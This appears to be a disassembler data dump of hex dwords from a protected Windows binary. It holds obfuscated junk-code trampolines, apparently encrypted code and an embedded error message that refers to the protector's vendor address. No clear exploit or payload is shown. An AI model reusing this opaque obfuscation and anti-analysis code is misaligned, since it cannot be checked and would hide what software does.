dd 5D000000h, 9D7C59F8h, 0BD305FA2h, 869FD9BBh, 8B669FC3h
dd 12E95FCAh, 0AF000000h, 0DDF248A4h, 7AB50A61h, 0DD303F76h
dd 57AEC827h, 99BD8311h, 64812h, 0BD830975h, 6480D35h
dd 50197400h, 0B8C08B53h, 7D8h, 29B98589h, 9D8D0648h, 64AA464h
dd 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h, 7D8h, 29B98589h
dd 9D8D0648h, 64AA153h, 585BD3FFh, 8E9h, 0A544E700h, 310D321Eh
dd 458D8BC8h, 0E906481Bh, 0Fh, 29F53BC8h, 48E95485h, 11463201h
dd 8B483FFEh, 0BDBD33C0h, 68064817h, 0F003Fh, 0D719589h
dd 6A0648h, 33006AFCh, 481A218Dh, 3195FF06h, 9064807h
dd 48312DB5h, 0FC08506h, 580h, 0F0B2BA00h, 85893BDCh, 64AED1Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h
dd 0BF434D75h, 70D53475h, 89CBBF0Fh, 482B85B5h, 1FF6806h
dd 0B70F000Fh, 0BDBD83F8h, 64808h, 47840Fh, 24B90000h
dd 8D19BDCDh, 4AED7C85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 35F3DFFDh, 7E9h, 27579400h
dd 953C0222h, 1A818D8Bh, 12E90648h, 89000000h, 48301D8Dh
dd 52858D06h, 89064AEDh, 480AC5B5h, 2B605006h, 4817158Dh
dd 0D9B70F06h, 1FB5FF61h, 8B064AEDh, 4826FDBDh, 1795FF06h
dd 81064AEDh, 25EECBE2h, 2385896Ah, 6A064AEDh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 7760C356h, 1DE5354h, 480A5985h, 0C7C88B06h, 48336D85h
dd 6, 0D19D8900h, 83064828h, 4AED23BDh, 840F0006h, 21Dh
dd 68F0Fh, 9D890000h, 6481B11h, 0F001858Dh, 6A064Ah, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 897F2EC3h, 481595B5h, 958B5006h, 648089Dh, 8166016Ah
dd 0FF3E8BF2h, 4AED23B5h, 69850106h, 0FF06480Dh, 4AED1B95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0CED2D7ABh, 2218D2Bh, 89600648h, 4829CD95h
dd 0F8BF0F06h, 31BD8B61h, 0FF06480Bh, 4AED23B5h, 0DD8D8B06h
dd 0FF064802h, 48128595h, 0D98D8906h, 6806480Ch, 0F01FFh
dd 13E950h, 0E41F0000h, 56392E53h, 53E2F800h, 0CFD25E2Ch
dd 5C1E6734h, 0BD835965h, 64808BDh, 5A840F00h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 2B67C356h, 48177995h, 7C858D06h, 6A064AEDh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 0FD6C352h, 589h, 0EC9CBF00h, 30E9798Fh, 9000000h
dd 4813B18Dh, 52858D06h, 6A064AEDh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8C06C350h
dd 1C09A99Eh, 50E6A0B6h, 1181BD8Bh, 8B600648h, 4815A19Dh
dd 8DB52906h, 6106482Eh, 0ED1FB5FFh, 0FFFC064Ah, 4AED1795h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 29FCE46Ah, 0E9605BDEh, 6, 46DC1F06h, 0B58976ABh
dd 648280Dh, 0B2B96661h, 238589E5h, 66064AEDh, 0FF86F7B9h
dd 4AED23B5h, 1FD28106h, 892D7C74h, 480E69BDh, 1395FF06h
dd 6A064AEDh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 2AD2C357h, 0ABFEE5CCh, 17418D8Bh
dd 8D8B0648h, 6480695h, 0ED23B5FFh, 0BD89064Ah, 6480579h
dd 0FF83DD80h, 48128595h, 698D8B06h, 29064829h, 4831B1BDh
dd 0F577E906h, 8D89FFFFh, 6482A11h, 0F86CB5FFh, 0B589064Ah
dd 6481035h, 0E7195FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 163741C3h, 31677D9Fh
dd 8D8B6BA2h, 6481B75h, 858BC88Bh, 6482945h, 4118D8Bh
dd 5EE90648h, 0E9000006h, 7, 0F70DF09Ch, 8DD4C028h, 4AF021B5h
dd 12E906h, 0AC510000h, 0FB749A87h, 1C50935Fh, 9477204Fh
dd 4C7DE24Ah, 9DC7858Dh, 800F064Ah, 6, 497EDF81h, 0D0FF766Bh
dd 9D896060h, 64815F9h, 1A58D8Bh, 29610648h, 4807F5BDh
dd 6A6106h, 2F318589h, 95FF0648h, 6481AD9h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 26C35141h, 0BF666928h
dd 0BD89636Dh, 648199Dh, 8A0FF38Bh, 0
dd 9DC7858Dh, 6A064Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 178F5AC3h, 1851BD89h, 0D0FF0648h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 88C35040h
dd 6ACF8Bh, 1D958B53h, 5A064816h, 1AD995FFh, 10E90648h
dd 0B9000000h, 7943471Ah, 1737186Ah, 4639BEC8h, 8B1F562Eh
dd 98D03C0h, 83064808h, 481299BDh, 9750006h, 0D35BD83h
dd 74000648h, 8B535019h, 7D9B8C0h, 85890000h, 64829B9h
dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
dd 7D9B853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah
dd 0D38B585Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Bh, 7FC35040h, 93FF09CAh, 0F9381AF0h, 6890Fh, 958B0000h
dd 6482B85h, 0D981C08Bh, 43112ABDh, 6149BF66h, 56006A50h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 226C6FFDh, 24B2D189h, 8166A1F2h, 8B98B8E2h, 0D3BF0FD8h
dd 3820F52h, 66000000h, 535FCF8Bh, 1459D8Dh, 38B0648h
dd 438B0389h, 50438950h, 0F8059D8Dh, 38B064Ah, 8B5B0389h
dd 18830FCEh, 60000000h, 7798529h, 0AE80648h, 7D000000h
dd 93F45E5h, 59C6FDDAh, 66615F42h, 38FAC281h, 80B1006Ah
dd 0F805858Dh, 0F181064Ah, 0E519AAAh, 69BD8B50h, 6A064817h
dd 0DD958B60h, 8D064802h, 48014585h, 4DBD2B06h, 50064829h
dd 0E34490BAh, 6A006A42h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E336EEC0h
dd 29664898h, 4803BD95h, 18006806h, 0BF0F0000h, 6A53D6h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 99303BC3h, 0C281669Dh, 95FF38A1h, 64805EDh, 2EB5B529h
dd 95FF0648h, 648177Dh, 0AF99BA66h, 0F86CB5FFh, 0EA81064Ah
dd 5EAB945Eh, 6820Fh, 0BD890000h, 6481409h, 0E7195FFh
dd 9EB50648h, 145858Dh, 8D330648h, 64829A1h, 6A18408Bh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 4C9DC355h, 8B30FDB4h, 1F54DBFh, 481A159Dh
dd 5185C706h, 64828h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 14042444h, 45000000h, 8350C355h, 4808BDBDh
dd 840F0006h, 39h, 21AB1FBFh, 8C3D64h, 830F0000h, 1D3h
dd 14F98D29h, 32E90648h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 7B28C356h
dd 963D3Dh, 830F0000h, 19Fh, 3810Fh, 0E6800000h, 9F858D8Ah
dd 0B005AF5h, 482BED95h, 80D0FF06h, 858D83E9h, 5AEFF2h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FEC35646h
dd 0ADFA6DAEh, 8166D0FFh, 8BD1B6F1h, 51006AC0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 0C7862BACh
dd 5840Fh, 81660000h, 830E69EFh, 481299BDh, 9750006h, 0D35BD83h
dd 74000648h, 8B535019h, 0BC6B8C0h, 85890000h, 64829B9h
dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
dd 0BC6B853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah
dd 0BE8585Bh, 0DB000000h, 0DF7A34A4h, 70F26DD6h, 0BF603BD1h
dd 0A4ACD65h, 5F615850h, 6FB3D781h, 0C08B1EDBh, 17AD8529h
dd 0F8830648h, 51850FFFh, 0F000000h, 85C7C8BFh, 6483291h
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 16C35545h
dd 7D54C957h, 0E9FB315Eh, 15Bh, 1EF58D8Bh, 3AE90648h, 89000000h
dd 480AF9B5h, 6E906h, 22900000h, 0B2DFB645h, 0F01F883h
dd 2085h, 6870F00h, 8B000000h, 480B918Dh, 0F9BF0F06h, 184E9h
dd 858D8B00h, 31064808h, 4827F1BDh, 0F037E906h, 6AFFFFh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0F1D4EBC3h, 0DE9ABh, 4A910000h, 862EF6FDh, 9E05D2ACh
dd 8B723EA0h, 0E689B9C0h, 0BD8319A2h, 6481299h, 83097500h
dd 480D35BDh, 19740006h, 0C08B5350h, 7DDB8h, 0B9858900h
dd 8D064829h, 4AA4649Dh, 5BD3FF06h, 35BD8358h, 6480Dh
dd 53501774h, 7DDB8h, 0B9858900h, 8D064829h, 4AA1539Dh
dd 5BD3FF06h, 59858958h, 6006481Bh, 2F85B589h, 0D98B0648h
dd 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 76F93479h, 8B66893Ch, 0FC08BD6h, 1785h
dd 12E900h, 75E50000h, 0F6F05F62h, 0D391F37Bh, 4097E89Ah
dd 23FFD95Bh, 1289958Bh, 86E90648h, 6A000002h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 7268C357h, 8D583F0Eh, 897F9880h, 4802FD95h, 0D58D0106h
dd 8D06480Ah, 4AF60985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 516132EAh, 99616A28h
dd 0F5B9663Ch, 18589A0h, 0E8064AF8h, 8, 195FC125h, 0CE2C63A0h
dd 16D99509h, 0F590648h, 38Dh, 0D68B6600h, 53E9h, 0A9958B00h
dd 8B06480Ah, 482E7D8Dh, 11858D06h, 0B1064AF4h, 6A40D0h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 240644C3h, 0DE952C6h, 0BE000000h, 51F969A9h, 0F707DDD0h
dd 42DBB4C2h, 1A21958Bh, 85890648h, 64AF801h, 858D346Ah
dd 648009Dh, 1B5FF50h, 6A064AF8h, 0D595FF00h, 83064815h
dd 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 0FF985C6h
dd 68560648h, 9CA8B852h, 0ED5B5FFh, 858D0648h, 64838BAh
dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 4AF87485h
dd 0F985C606h, 4706480Fh, 18AC9B68h, 0D5B5FFECh, 8D06480Eh
dd 4838BA85h, 0FFD0FF06h, 0C6F08BD0h, 480FF985h, 61684F06h
dd 0FFC62F26h, 4827C5B5h, 0BA858D06h, 0FF064838h, 709D8DD0h
dd 53064AF8h, 0FF56286Ah, 75C085D0h, 0F985C600h, 4106480Fh
dd 87649868h, 0C5B5FFDBh, 8D064827h, 4838BA85h, 89D0FF06h
dd 4AF88D85h, 0F985C606h, 4C06480Fh, 0A4E7A468h, 0C5B5FF80h
dd 8D064827h, 4838BA85h, 8BD0FF06h, 4AF8749Dh, 45B8D06h
dd 799D8D53h, 53064AF8h, 0D0FF006Ah, 0F8749D8Bh, 3C7064Ah
dd 1, 20C43C7h, 0C7000000h, 48098985h, 6, 6A006A00h, 8B006A00h
dd 4AF8749Dh, 6A5306h, 0F870B5FFh, 95FF064Ah, 64AF88Dh
dd 0FF985C6h, 68450648h, 92A5F797h, 2F2DB5FFh, 858D0648h
dd 64838BAh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h
dd 0F8749D8Bh, 43C7064Ah, 0Ch, 6A006A00h, 749D8B00h, 53064AF8h
dd 0B5FF006Ah, 64AF870h, 0F88D95FFh, 0B5FF064Ah, 64AF870h
dd 177D95FFh, 6A0648h, 1AD995FFh, 8D8B0648h, 6482A39h
dd 12E9h, 7180FC00h, 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh
dd 8B6722EAh, 482F01BDh, 45858D06h, 0F064B2Eh, 2950F9B7h
dd 481695BDh, 35FF6406h, 0
dd 7E9h, 96298400h, 283A045Fh, 258964h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 683EC355h, 80815648h, 0BD2B61E2h, 64814E9h, 2ACA8166h
dd 2DBD832Fh, 64820h, 5C840Fh, 8D290000h, 64831B1h, 6860Fh
dd 0BD290000h, 64812DDh, 30E5BD83h, 0F010648h, 3D85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0BF6637D9h, 24B6EDA5h, 0FC8DBD80h, 0F00064Ah, 0D85h
dd 0C1816600h, 6EE93313h, 0F000001h, 0DB33CAB7h, 0A138A1B9h
dd 8BC03322h, 9E9D3h, 0DB230000h, 677F5403h, 40DA42A3h
dd 0B073F0Fh, 58F64h, 83000000h, 10E904C4h, 24000000h
dd 0F2E33005h, 2F1D9AD6h, 2A212437h, 3105BBB9h, 482E799Dh
dd 0FB83F806h, 13840FFFh, 31000000h, 48073D9Dh, 0B5BA6606h
dd 105E917h, 0BA660000h, 7EE9CC24h, 0E9000000h, 0Dh, 0E04AE2F9h
dd 19A5D1D2h, 9B5B8A8Eh, 8E9F3h, 68230000h, 0BD6F34B7h
dd 4C8B8650h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h
dd 5C8BC3C0h, 0E8550C24h, 0
dd 67ED815Dh, 8B064B2Eh, 0B883h, 2C858D00h, 89064B2Fh
dd 0B883h, 0C0335D00h, 6AF18AC3h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0ED31C350h
dd 5D858D84h, 89064B2Eh, 48274D8Dh, 6A5006h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 448DD4C3h
dd 0F274D38Bh, 64A19B51h, 35FFh, 0BE90000h, 8E000000h
dd 8CC12069h, 15B111A3h, 89644871h, 25h, 1BD8900h, 0B906481Fh
dd 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h
dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 4830F185h
dd 106h, 58F6400h, 0
dd 6604C483h, 9181C281h, 14E9h, 2F0BCF00h, 19834F15h, 4CB2490Ch
dd 8C6F9DC3h, 3FC3691h, 6AC08B07h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0E4C8C355h
dd 0A4E21B5Ah, 1299BD83h, 75000648h, 35BD8309h, 6480Dh
dd 53501974h, 3DB8C08Bh, 89000004h, 482FF985h, 0CB9D8D06h
dd 0FF064AA4h, 83585BD3h, 480D35BDh, 17740006h, 3DB85350h
dd 89000004h, 482FF985h, 6C9D8D06h, 0FF064AA1h, 6A585BD3h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 0C739C357h, 30FADEE6h, 4CF61BCEh, 6E9h, 178A5200h
dd 0F7B0FA5h, 386h, 0CEBF0F00h, 0E9C08BFCh, 13Ah, 4, 35382E31h
dd 35h, 6 dup(0)
dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
dd 6E6F69h, 61656C50h, 202C6573h, 646E6573h, 65687420h
dd 6C6F6620h, 69776F6Ch, 6320676Eh, 7365646Fh, 206F7420h
dd 6F666E69h, 65726F40h, 2E736E61h, 2E6D6F63h, 61685420h
dd 79206B6Eh, 0A2E756Fh, 200D0A0Dh, 20202020h, 28202020h
dd 73657270h, 54432073h, 432B4C52h, 206E6F20h, 73696874h
dd 6E697720h, 20776F64h, 63206F74h, 2079706Fh, 63206F74h
dd 6270696Ch, 6472616Fh, 20202029h, 0A0D0A20h, 7265560Dh
dd 6E6F6973h, 203D2020h, 0D0A7325h, 63656843h, 204E496Bh
dd 25203D20h, 430D0A64h, 6B636568h, 2054554Fh, 6425203Dh
dd 72500D0Ah, 4E49636Fh, 3D202020h, 0A642520h, 6F72500Dh
dd 54554F63h, 203D2020h, 0D0A6425h, 74697845h, 20204E49h
dd 25203D20h, 450D0A64h, 4F746978h, 20205455h, 6425203Dh
dd 50540D0Ah, 20206E69h, 3D202020h, 0A642520h, 0BD83000Dh
dd 64815C1h, 2D840F00h, 8D000001h, 4A9F8385h, 858D5006h
dd 64A9EEDh, 16850h, 95FF8000h, 64A9F93h, 3003858Dh, 8D50064Bh
dd 4B300D85h, 6A5006h, 858D006Ah, 64A9F01h, 83B5FF50h
dd 0FF064A9Fh, 48162195h, 3858D06h, 50064B30h, 3011858Dh
dd 6A50064Bh, 8D006A00h, 4A9F1385h, 0B5FF5006h, 64A9F83h
dd 162195FFh, 858D0648h, 64B3003h, 1D858D50h, 50064B30h
dd 6A006Ah, 9F60858Dh, 0FF50064Ah, 4A9F83B5h, 2195FF06h
dd 8D064816h, 4B300385h, 858D5006h, 64B3025h, 6A006A50h
dd 7E858D00h, 50064A9Fh, 9F83B5FFh, 95FF064Ah, 6481621h
dd 3003858Dh, 8D50064Bh, 4B302185h, 6A5006h, 858D006Ah
dd 64A9F67h, 83B5FF50h, 0FF064A9Fh, 48162195h, 3858D06h
dd 50064B30h, 3015858Dh, 6A50064Bh, 8D006A00h, 4A9F6F85h
dd 0B5FF5006h, 64A9F83h, 162195FFh, 858D0648h, 64B3003h
dd 19858D50h, 50064B30h, 6A006Ah, 9F76858Dh, 0FF50064Ah
dd 4A9F83B5h, 2195FF06h, 0FF064816h, 4A9F83B5h, 2595FF06h
dd 0E9064832h, 0A2h, 1651BD83h, 0F000648h, 9584h, 0E5BD8300h
dd 64830h, 11850Fh, 958B0000h, 648182Dh, 1CF8C281h, 0FE90000h
dd 8D000000h, 48014595h, 34528B06h, 0C340C281h, 95893BD4h
dd 648289Dh, 289DBD83h, 0F000648h, 5584h, 9D9D8B00h, 83064828h
dd 38B4CC3h, 300D8589h, 9D8B064Bh, 648289Dh, 8B50C383h
dd 11858903h, 8B064B30h, 48289D9Dh, 54C38306h, 8589038Bh
dd 64B301Dh, 289D9D8Bh, 0C3830648h, 89038B58h, 4B302185h
dd 9D9D8B06h, 83064828h, 38B5CC3h, 30158589h, 0BD83064Bh
dd 64815C1h, 0D850F00h, 83000000h, 481651BDh, 840F0006h
dd 68h, 3025B5FFh, 0B5FF064Bh, 64B3019h, 3015B5FFh, 0B5FF064Bh
dd 64B3021h, 301DB5FFh, 0B5FF064Bh, 64B3011h, 300DB5FFh
dd 858D064Bh, 64B3007h, 3F858D50h, 50064B30h, 1CE5858Dh
dd 0FF500648h, 48286195h, 24C48306h, 858D406Ah, 64B3029h
dd 0E5858D50h, 5006481Ch, 95FF006Ah, 64815D5h, 95FF016Ah
dd 6481AD9h, 8060C18Bh, 0C08BC3C9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 37C35343h, 5F640DB7h, 5E9h
dd 81CBFB00h, 83F5D59Dh, 481299BDh, 9750006h, 0D35BD83h
dd 74000648h, 8B535019h, 40EB8C0h, 85890000h, 64829B9h
dd 0A4649D8Dh, 0D3FF064Ah, 0BD83585Bh, 6480D35h, 50177400h
dd 40EB853h, 85890000h, 64829B9h, 0A1539D8Dh, 0D3FF064Ah
dd 0E857585Bh, 0Dh, 39D52F4Bh, 910E2CA3h, 0BC936BA0h, 5E6160E7h
dd 56006A5Ah, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 6E985C1h, 62000000h, 52A83713h, 6AC08B7Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 8F50C350h, 3243EAADh, 83F43020h, 48202DBDh
dd 840F0006h, 6Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 0CDC35141h, 9E88E55h, 0B8000000h, 1EABEEEFh
dd 45C7AE78h, 13E9h, 0CFE7B400h, 0E013A5F3h, 0C081E405h
dd 95AF3477h, 54DBF690h, 261E95Ah, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 986B67C3h
dd 39E4FD80h, 81DF8C7Ch, 0A50262C9h, 0C7F7664Eh, 850F0004h
dd 22Bh, 1C830Fh, 10E80000h, 9B000000h, 0FA0D4583h, 873B824Dh
dd 41C50563h, 0F918EAEh, 8Dh, 0FF2B5900h, 8B0FF960h, 15h
dd 0FE8h, 97794600h, 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh
dd 9D8D6159h, 64B36E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 69C35747h, 5E57F521h, 0BA6693EBh, 66505B57h
dd 939885BEh, 3840Fh, 0F9570000h, 35FF6459h, 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B1C35646h
dd 91DD22B8h, 0DBF45115h, 258964h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 2B51C350h, 7E746F35h, 8B96FED6h, 0BDC981C4h, 0CD4891E2h
dd 6A00EB01h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 18042444h, 46000000h, 253DC356h, 0F64FBCBh, 128Eh, 0DE900h
dd 21470000h, 0B2A0C26Bh, 8173A1DDh, 0E99CE675h, 10h, 0C48616FCh
dd 0C064A044h, 0C464D430h, 10B401F2h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 6BC35747h, 1F769AB9h, 8F643E4Ch
dd 5, 11E900h, 0D29B0000h, 0FEEE580Ah, 0B737387Eh, 0C25F640Dh
dd 83DC1A8Ch, 6A04C4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0FAF8EC3h, 6651DFE5h, 0BD81F181h
dd 0D3BF0F5Ah, 840FC00Bh, 8Bh, 0BE9h, 5B3D9A00h, 0B235B4A4h
dd 3F9B1780h, 0FA0EBA61h, 80603775h, 8D6103CFh, 487286BDh
dd 0BF0F6006h, 0BA61F9C1h, 0A3840FAh, 1B8h, 81E7FF00h
dd 85EFFBC2h, 5C8B5769h, 838B1024h, 0B8h, 140B60Fh, 8389C8FEh
dd 0B0h, 0B88383h, 5F020000h, 6AC3C033h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 6C55C356h
dd 0C72824E0h, 64B6C88Bh, 81F56060h, 0A3C69DD8h, 61616141h
dd 8BF7B70Fh, 71BE66C0h, 99BD83A6h, 64812h, 0BD830975h
dd 6480D35h, 50197400h, 0B8C08B53h, 40Eh, 2FF98589h, 9D8D0648h
dd 64AA4CBh, 585BD3FFh, 0D35BD83h, 74000648h, 0B8535017h
dd 40Eh, 2FF98589h, 9D8D0648h, 64AA16Ch, 585BD3FFh, 0DFC68166h
dd 52006A0Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 0F41F6E79h, 57648579h, 10E9h, 4CC07000h
dd 4EEA6669h, 5BF6103Eh, 5773CF67h, 6AC08BBCh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 1AD1C351h, 21E6F0EFh, 0D506A7D4h, 0CE8C28Bh, 0C0000000h
dd 46A6A4FDh, 6AD5164Dh, 0FEB700Ch, 0E959F6BFh, 14h, 3D5CD6DCh
dd 786CCD7Dh, 4D88FDFCh, 88AB5018h, 5C0CF6DBh, 6134C181h
dd 820F0000h, 5, 0D3A8F9BEh, 80D22B0Eh, 1C8B71DCh, 1EEF8111h
dd 8159A45Ch, 2D4DE1C3h, 0FFB70F0Fh, 0DCE0F381h, 88BE0945h
dd 8154E7CBh, 90DA03C3h, 6E914h, 0BEB30000h, 0E09FA3F2h
dd 60111C89h, 9E8h, 379D5B00h, 3D010D82h, 616004F0h, 860F6159h
dd 0
aBJTCybJS db 'êÆJ;(¿T\—yÂÂJ;(é',0Dh,0
dd 43120000h, 0B688205Ah, 53093624h, 81A02CBDh, 0FF9FA4FAh
dd 1A850FFFh, 0F000000h, 68Fh, 55C78100h, 0E90EC25Ch, 13h
dd 8AF41A34h, 0DD3D7CF9h, 0FF68E952h, 8634FFFFh, 0EBEE44DAh
dd 46F31718h, 9Bh, 4 dup(0)
dd 20BE900h, 8B600000h, 0E824245Ch, 0
dd 0FBED815Dh, 61064B38h, 0E90004C2h, 0FFFFFFE6h, 8C26160h
dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
dd 0E9C36160h, 0FFFFFFF8h, 3933B58Bh, 0E681064Bh, 0FFFFF000h
dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3937B53Bh, 860F064Bh
dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch
dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 48289D85h, 0A188606h
dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh
dd 82474FFh, 80D95FFh, 0F500648h, 0FE244C01h, 1CC08358h
dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
dd 9840FC0h, 8B000000h, 48289D85h, 0C606h, 2404FF58h, 0E90004C2h
dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
dd 9D858B00h, 86064828h, 0FDB0A18h, 0FFFFF685h, 2185C7FFh
dd 64810h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
dd 0E9188918h, 0Ah, 102185C7h, 1000648h, 5B580000h, 0C32404FFh
dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h
dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh
dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
dd 0D88C66C3h, 840F04A8h, 29h, 38D885C7h, 1064Bh, 0F500000h
dd 0FE244C01h, 38DC858Fh, 858D064Bh, 64B38D4h, 38DCBD8Dh
dd 3889064Bh, 23E9h, 45858D00h, 8B064801h, 17053840h, 899B46F3h
dd 4B38D485h, 45858D06h, 8B064801h, 85893C40h, 64B38D8h
dd 38F1858Dh, 8589064Bh, 648080Dh, 87E9h, 0D48B5200h, 8728B60h
dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h
dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h
dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h
dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h
dd 8C25Ah, 3B64858Dh, 8589064Bh, 64830A1h, 3B8C858Dh, 8589064Bh
dd 6481731h, 3BB4858Dh, 8589064Bh, 6482725h, 8EBh, 0
dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h
dd 64830E5h, 7182858Dh, 88B064Bh, 1000888Bh, 0A8B0000h
dd 0FC4A8B66h, 3C158D89h, 0BD83064Bh, 64808BDh, 0F840F00h
dd 60000000h, 95FF006Ah, 648092Dh, 0FFC4E961h, 8966FFFFh
dd 0CEC1FC72h, 72896610h, 4CD5202h, 1185895Ah, 8B064B3Ch
dd 4B3C15B5h, 10CEC106h, 2728966h, 3C15B58Bh, 8966064Bh
dd 8B61FC72h, 4B3C1185h, 958DC306h, 6482041h, 289D9589h
dd 95890648h, 6481551h, 155185FFh, 85C60648h, 6480FF9h
